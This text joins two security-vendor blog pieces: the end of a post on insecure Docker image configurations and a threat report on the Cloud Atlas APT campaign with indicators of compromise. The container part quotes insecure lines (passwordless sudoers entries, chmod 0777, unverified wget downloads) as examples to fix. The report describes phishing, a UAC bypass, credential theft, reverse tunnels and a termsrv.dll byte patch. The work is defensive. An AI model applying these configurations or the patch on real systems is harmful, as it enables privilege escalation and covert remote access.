To fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.

Privilege escalation in the container

One of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers’ subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.

The situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.

Similarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.

Attacks on sudo

One of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:

/bin/sh -c set -xe;     apt-get update &&       apt-get -y install sudo;       echo ""solr ALL=(ALL) NOPASSWD: ALL"" >/etc/sudoers.d/solr;

Analyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.

echo 'postgres ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers

In another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user – through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes – they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.

As a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.

Our AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group — by modifying existing rules.

perl -i -pe 's/\bALL$/NOPASSWD:ALL/g' /etc/sudoers

The risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group – potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.

To mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism – such as gosu to run a specific process on behalf of another user without permanent privileges.

Insecure file permissions

Another common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone – including unprivileged users – to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.

Consider the following command:

chmod 0777 /usr/share/cargo /usr/share/cargo/bin

The risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker’s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.

To mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.

Lack of integrity checks

Downloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.

For example, this risk may arise when downloading a distribution via HTTP:

RUN /bin/sh -c wget -qO- ""<a href="http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz">http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz</a>"" | tar --extract --gzip -C /opt/acestream

Using HTTP without verifying the archive’s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.

To mitigate the risks, you can configure connections to web resources to use HTTPS only — if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.

There will still be a MitM risk even if certificate verification is disabled:

wget --no-check-certificate<a href="https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip"> https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip</a> -O phpvirtualbox.zip

The absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.

To mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.

Conclusion

Docker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.

Our research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.

To detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.

This approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization’s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices.

In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.

The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.

Technical details

Initial infection

As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.

Malware execution flow

Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:

Example of the PowerShell script downloaded and executed by the shortcut:

Example of the PowerShell script downloaded by the shortcut

Actions performed by the downloaded PowerShell:

Fixed.ps1 (loader)

The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.

Fixed.ps1::Payload (VBCloud dropper)

Example of the fixed.ps1::Payload (VBCloud dropper)

This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:

• video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
• video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.

Fixed.ps1::Payload (PowerShower)

This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).

Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:

• Collect information about running processes, administrator groups, and domain controllers.
• Download and execute PowerShell scripts from the C2 server.
• Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).

PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.

Contents of the googleearth.ps1(PowerShower)

PowerShower::Payload (credential grabber)

PowerShower downloads an additional script for stealing credentials. It performs the following actions:

• Creates a Volume Shadow Copy of the C:\ drive.
• Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
• The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.

The full launch chain looks like this:

The full Base64-decoded script is given below.

Multi-user RDP by patching termsrv.dll

Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):

The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.

By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.

At first, the script enables RDP on the firewall and downgrades the RDP security settings:

Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.

Example of script

The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.

Reverse SSH tunneling

As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.

That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.

To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.

We’ve seen three types of scripts:

• Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
• Run.vbs (WriteToSchedulerRunSSH.vbs) runs reverse SSH tunnel.
• Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.

To achieve persistence, the attackers added a new scheduled task in Windows:

In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:

Patched OpenSSH

Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.

In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:

RevSocks

In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.

There were also reverse SOCKS samples with hardcoded C2 addresses:

Tor tunneling

To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.

Example of TOR configuration file

PowerCloud

We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.

The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.

To find administrators on the victim host, the tool executes the following command:

This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.

PowerCloud script

Browser checker

Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.

The information about running browsers is written to a log file on the local host.

Fragment of the deobfuscated script

Victims

According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.

We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.

We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:

• C:\Windows\ime
• C:\Windows\System32\ime
• C:\Windows\pla
• C:\Windows\inf
• C:\Windows\migration
• C:\Windows\System32\timecontrolsvc
• C:\Windows\SKB

However, TTPs are still differentiated.

Conclusion

For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.

Indicators of compromise

PowerCloud

7A95360B7E0EB5B107A3D231ABBC541A  C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40   C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33  C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7   C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE  C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453  C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29  C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016  C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A  C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D  C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1  C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9   C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419  C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8  dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3   –
25C8ED0511375DCA57EF136AC3FA0CCA   C:\branding\dwmw.exe

Browser checker

5329F7BFF9D0D5DB28821B86C26D628F  C:\ProgramData\checker_[redacted].exe

ReverseSocks

2B4BA4FACF8C299749771A3A4369782E  C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC   C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50   C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8   C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769   C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160   C:\Windows\ime\imetc\help\IMTCEN14.exe

Malicious MS Office documents

369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05

Domains and IPs

Reverse SSH/Socks domains

tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net

Malicious and compromised domains used in MS Office documents

amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br

Powershell payload staging

istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71

File paths

VBS scripts

WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs

ssh.exe

c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe

ReverseSocks

C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe

Tor client

C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe

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